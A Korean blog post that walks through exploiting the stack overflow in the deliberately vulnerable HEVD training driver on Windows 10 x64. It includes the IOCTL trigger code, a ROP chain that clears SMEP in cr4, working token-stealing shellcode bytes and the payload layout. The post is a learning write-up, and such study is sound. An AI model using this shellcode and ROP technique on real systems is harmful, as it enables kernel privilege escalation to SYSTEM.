usrbin
컴퓨터 일기
usrbin
전체 방문자
오늘
어제

공지사항

  • whoami
  • 분류 전체보기 (127)
    • 깔짝할짝 (61)
    • 잡지식 (30)
    • Network (7)
      • Programming (3)
      • Study (4)
    • Mobile (13)
    • Reversing (5)
      • Win API (2)
      • 분석 (0)
    • Kernel (4)
      • linux (1)
      • Windows (3)
    • Programming (5)

블로그 메뉴

  • 홈
  • 방명록

인기 글

태그

  • Reversing
  • qt
  • nethunter
  • System
  • HackCTF
  • Network Programming
  • pwnable.kr
  • pcapng
  • xcz.kr
  • Scapy
  • HEVD
  • System Hacking
  • ftz
  • PWN
  • pcap
  • Android
  • x64dbg
  • BOF
  • Follina
  • Digital Forensics
  • suninatas
  • monitor mode
  • forensics
  • sql injection
  • Hive Ransomware
  • Pwnable
  • Packet
  • libpcap
  • network
  • pwntools

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
usrbin

컴퓨터 일기

[Windows][HEVD] stack overflow
Kernel/Windows

[Windows][HEVD] stack overflow

2020. 9. 30. 12:15

HEVD 취약한 드라이버 함수중에 제일 쉬운애다.. 하지만 이것도 거의 한 2주가 걸렸다 ㅠ 뭐가 문제였는진 아직도 잘 모르겠지만..

Environment

  • windows 10 x64 2004

Vuln func

NTSTATUS 
TriggerBufferOverflowStack(
_In_ PVOID UserBuffer, _In_ SIZE_T Size) 
{
...
}

취약점이 존재하는 함수는 TriggerBufferOverflowStack 이다.

#ifdef SECURE
        // Secure Note: This is secure because the developer is passing a size
        // equal to size of KernelBuffer to RtlCopyMemory()/memcpy(). Hence,
        // there will be no overflow

        RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));

SECURE 부분을 확인해보면, 커널 버퍼 크기만큼 복사를 하기 때문에 오버플로우가 발생할일이 없다.

#else
        DbgPrint("[+] Triggering Buffer Overflow in Stack\n");

        //
        // Vulnerability Note: This is a vanilla Stack based Overflow vulnerability
        // because the developer is passing the user supplied size directly to
        // RtlCopyMemory()/memcpy() without validating if the size is greater or
        // equal to the size of KernelBuffer
        //

        RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);

하지만 아닌 경우에는, 유저영역에서 넘겨준 사이즈만큼 커널 버퍼에 복사하게 된다. 크기를 따로 검사하는 로직이 존재하지 않기 때문에 발생하는 취약점이다.

Trigger Vuln

#define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HEVD_IOCTL_BUFFER_OVERFLOW_STACK IOCTL(0x800)

일단 드라이버 코드에서 볼 수 있던것과 동일하게 IOCTL 을 정의한다. stack overflow 는 0x800번을 사용한다.

일단 얼마나 덮어써야하는지 확인해야하니까 windbg를 붙여서 확인해보았다.

if (!DeviceIoControl(driverHandle, HEVD_IOCTL_BUFFER_OVERFLOW_STACK, buf, 0x83, NULL, 0, NULL, NULL)) {
        printf("\t[-] Error sending IOCTL to driver\n");
        return 0;
}

DeviceIoControl 함수를 통해 IOCTL을 호출할 수 있다. 두번째 인자에 IOCTL 을 주면 된다. 그리고 드라이버버가 받는 인자가 버퍼와 사이즈 두개이므로 위와 같이 주면 된다. 일단 당장 오버플로우를 일으킬건 아니니까 작게 보내본다.

0: kd> bp HEVD!TriggerBufferOverflowStack
0: kd> g

windbg에 브레이크 포인트는 해당 취약 함수에 걸어준다.

2: kd> k
 # Child-SP          RetAddr               Call Site
00 fffff908`1099eee0 fffff804`065765ae     HEVD!TriggerBufferOverflowStack+0xcf
01 fffff908`1099f720 fffff804`06575253     HEVD!BufferOverflowStackIoctlHandler+0x1a
02 fffff908`1099f750 fffff804`0a4d1f35     HEVD!IrpDeviceIoCtlHandler+0x1db 
03 fffff908`1099f780 fffff804`0a8a6fb8     nt!IofCallDriver+0x55

브포 걸린곳에서 콜스택을 확인해보면 현재 위치에서 리턴 주소가 fffff804065765ae 인 것을 볼 수 있다.

버퍼 시작 위치부터 리턴주소 위치까지는 0x818 만큼 떨어져있다. 따라서 0x818 만큼 더미를 채우고, 8바이트만큼 쓰면 해당 8바이트로 리턴 흐름을 바꿀 수 있게 된다. 그냥 0x41 로 채워보면 커널 패닉이 난다. 해봐도 되지만 난 이미 너무 많이 해서 보고싶지 않아서 안할것이다..

아무튼 이렇게 DeviceIoControl 함수를 호출하면서 사이즈를 크게 줌으로써 취약점을 트리거할 수 있다는 사실을 확인했다. 이렇게해서 리턴 주소도 덮어쓸 수 있다. 그렇다면.. 뭘로 덮어써야할지가 중요하다 이제

SMEP bypass

보호기법에 대한 자세한 이야기는 따로 작성해야겠다. 일단 해당 윈도우 커널 버전에서는 SMEP 이 활성화 되어있으므로, 커널 공간에서 유저공간에 있는 코드를 실행할 수 없다. 즉, 쉘코드를 암만 갖다 써놔도 실행하면 터진다는 것이다.

그렇다면 SMEP을 비활성화 시키면 된다. SMEP은 cr4 레지스터의 20번째 비트이다. 해당 부분을 0으로 바꿔주면 된다.

이건 windbg에서 Register > kernel 부분에서 확인할 수 있고, 계산기로 뚜들겨보면 나온다.

내 기존 cr4값은 0x00000000003506f8 이고, SMEP을 비활성화 시키면 0x00000000002506f8 이다.

이렇게 cr4 값을 바꾸기 위해서 ROP gadget을 사용하면 된다.

나는 pop rcx; ret; mv cr4, rcx; ret; 가젯을 사용했다.

2: kd> uf HvlEndSystemInterrupt
nt!HvlEndSystemInterrupt:
fffff8040a5f01a0 4851            push    rcx
fffff8040a5f01a2 50              push    rax
...
nt!HvlEndSystemInterrupt+0x1e:
fffff8040a5f01be 5a              pop     rdx
fffff8040a5f01bf 58              pop     rax
fffff8040a5f01c0 59              pop     rcx   // first gadget
fffff8040a5f01c1 c3              ret

nt!HvlEndSystemInterrupt 에서 첫번째 가젯을 찾을 수 있다.

2: kd> uf nt!KiConfigureDynamicProcessor
nt!KiConfigureDynamicProcessor:
fffff8040abacca0 4883ec28        sub     rsp,28h
fffff8040abacca4 e82ba8feff      call    nt!KiEnableXSave (fffff8040ab974d4)
fffff8040abacca9 4883c428        add     rsp,28h
fffff8040abaccad c3              ret

2: kd> uf fffff8040ab974d4
nt!KiEnableXSave:
fffff8040ab974d4 0f20e1          mov     rcx,cr4
fffff8040ab974d7 48f705763f360000008000 test qword ptr [nt!KeFeatureBits (fffff8040aefb458)],800000h
fffff8040ab974e2 b800000400      mov     eax,40000h
fffff8040ab974e7 0f84e6c00000    je      nt!KiEnableXSave+0xc0ff (fffff8040aba35d3)  Branch
...
nt!KiEnableXSave+0xc108:
fffff8040aba35dc 480fbaf112      btr     rcx,12h
fffff8040aba35e1 0f22e1          mov     cr4,rcx   // second gadget
fffff8040aba35e4 c3              ret

nt!KiEnableXSave 에 두번째로 사용할 가젯이 존재한다.

pop rcx; ret;
new cr4 value
mov cr4, rcx; ret;
shellcode address

그리고 다음과 같이 페이로드를 구성해주면 된다!

Token Stealing

리눅스에서 시스템 쉘을 딸때는 cred를 root 권한으로 바꿔줌으로써 얻을 수 있었다. 윈도우는 좀 다른 방식을 사용한다. System의 토큰을 훔쳐와서(?) ㅋㅋㅋ 복사해서 내가 실행하고 있는 프로그램의 토큰에다가 복사해주면 된다.

윈도우에는 _EPROCESS 라는 구조체가 존재한다. 해당 구조체는 커널모드에서의 프로세스 구조체를 나타낸다. 해당 구조체 안에 토큰이 들어있다.

이와같이 _EPROCESS 구조체의 0x4b8 위치에 토큰값이 존재한다. 이 위치는 버전마다 많이 차이가 나는 것 같으므로 직접 확인을 해야한다.

시스템의 토큰을 가져오는 과정은 다음과 같다.

일단 시스템 프로세스의 주소를 찾고, 시스템 프로세스의 아이디가 4인것을 확인할 수 있다. 그리고 토큰 위치는 항상 0x4b8 이므로, 주소를 찾았다면 오프셋을 기준으로 찾아가면 된다. 그리고 위에 보이는 것 처럼, 토큰의 마지막 4비트는 RefCnt 값으로, 참조를 추적할 수 있도록 해주는 부분인데, 토큰을 복사할때는 이 부분을 0으로 초기화시켜주어야 한다.

즉, 전체적인 과정은 프로세스 아이디를 확인하여 시스템 프로세스를 찾고, 해당 프로세스의 토큰값을 저장하여 복사해오면 된다.

프로세스를 찾는 것은 _EPROCESS 의 ActiveProcessLinks 필드를 이용하면 된다. 해당 필드는 이중 연결 리스트로, 프로세스들의 목록에 대한 리스트 포인터라고 할 수 있다. 해당 포인터를 이용하여 프로세스 아이디가 4인 프로세스를 찾으면 된다.

CHAR ShellCode[] = 
        "\x41\x50\x41\x51\x52\x51\x50" // push r8, r9, rdx, rcx, rax
        "\x65\x48\x8B\x14\x25\x88\x01\x00\x00"   // mov rdx, [gs:188h]      ; Get _ETHREAD pointer from KPCR
        "\x4C\x8B\x82\xB8\x00\x00\x00"      // mov r8, [rdx + b8h]      ; _EPROCESS (kd> u PsGetCurrentProcess)
        "\x4D\x8B\x88\x48\x04\x00\x00"      // mov r9, [r8 + 448h]      ; ActiveProcessLinks list head
        "\x49\x8B\x09"            // mov rcx, [r9]      ; Follow link to first process in list
        //find_system_proc:
        "\x48\x8B\x51\xF8"         // mov rdx, [rcx - 8]      ; Offset from ActiveProcessLinks to UniqueProcessId
        "\x48\x83\xFA\x04"         // cmp rdx, 4         ; Process with ID 4 is System process
        "\x74\x05"            // jz found_system      ; Found SYSTEM token
        "\x48\x8B\x09"            // mov rcx, [rcx]      ; Follow _LIST_ENTRY Flink pointer
        "\xEB\xF1"            // jmp find_system_proc      ; Loop
        //found_system:
        "\x48\x8B\x41\x70"         // mov rax, [rcx + 70h]      ; Offset from ActiveProcessLinks to Token
        "\x24\xF0"            // and al, 0f0h         ; Clear low 4 bits of _EX_FAST_REF structure
        "\x49\x89\x80\xB8\x04\x00\x00"      // mov [r8 + 4b8h], rax      ; Copy SYSTEM token to current process's token
        //recover:
        "\x48\x31\xF6"            // xor rsi, rsi         ; Zeroing out rsi register to avoid Crash
        "\x48\x31\xFF"            // xor rdi, rdi         ; Zeroing out rdi register to avoid Crash
        "\x58\x59\x5A\x41\x59\x41\x58"  // popopopoppop
        "\x48\x83\xc4\x10"         // add rsp, 10h         ; Set Stack Pointer to SMEP enable ROP chain
        "\x48\x31\xC0"            // xor rax, rax         ; NTSTATUS Status = STATUS_SUCCESS
        "\xc3"               // ret            
        ;

쉘코드는 다음과 같이 작성했다. 일단 쉘코드를 실행하는동안 변경되는 레지스터들은 미리 push 해놓는다.

"\x65\x48\x8B\x14\x25\x88\x01\x00\x00"   // mov rdx, [gs:188h]      ; Get _ETHREAD pointer from KPCR
"\x4C\x8B\x82\xB8\x00\x00\x00"      // mov r8, [rdx + b8h] 

이 두줄은 현재 프로세스의 주소를 반환하는 함수의 어셈블리를 그대로 가져온 것이다. 이 함수를 실행하고 나면 r8에 현재 프로세스의 주소가 담겨있다.

이후 이 주소를 기준으로 프로세스 목록 포인터를 받아오고, 거기서 시스템 프로세스를 찾아서 토큰을 복사해오면 된다.

마지막으로 리턴 주소를 맞춰주기 위해, rsp를 조정해주면 된다.

2: kd> k
 # Child-SP          RetAddr               Call Site
00 fffff908`1099eee0 fffff804`065765ae     HEVD!TriggerBufferOverflowStack+0xcf
01 fffff908`1099f720 fffff804`06575253     HEVD!BufferOverflowStackIoctlHandler+0x1a
02 fffff908`1099f750 fffff804`0a4d1f35     HEVD!IrpDeviceIoCtlHandler+0x1db 
03 fffff908`1099f780 fffff804`0a8a6fb8     nt!IofCallDriver+0x55

기존 콜스택에서 HEVD!IrpDeviceIoCtlHandler+0x1db 주소로 리턴할것이고, 그러기 위해서 나는 rsp에 0x10 만큼 더해주어야했다.

Exploit

dummy(0x818)+pop rcx(0x8)+new cr4(0x8)+mv cr4,rcx(0x8)+shellcode address(0x8) = 0x838

총 0x838 바이트를 전송하였다.

사용자 권한으로 띄운 쉘이 관리자 권한을 얻게 되는 것을 확인할 수 있다.

익스플로잇 코드는 https://github.com/usrbin-sim/windows_kernel_study/blob/master/HEVD/stackOverflow.c 여기 있다.

References

https://www.abatchy.com/2018/01/kernel-exploitation-4

https://h0mbre.github.io/HEVD_Stackoverflow_SMEP_Bypass_64bit/#

저작자표시 비영리 변경금지 (새창열림)

'Kernel > Windows' 카테고리의 다른 글

[Windows][HEVD] build 환경 구축(feat. Windows driver 개발 환경 구축)  (0) 2020.09.01
[Windows] VMware windbg 설정(+ windbg preview)  (0) 2020.08.09
    usrbin
    usrbin
    컴퓨터 할거야

    티스토리툴바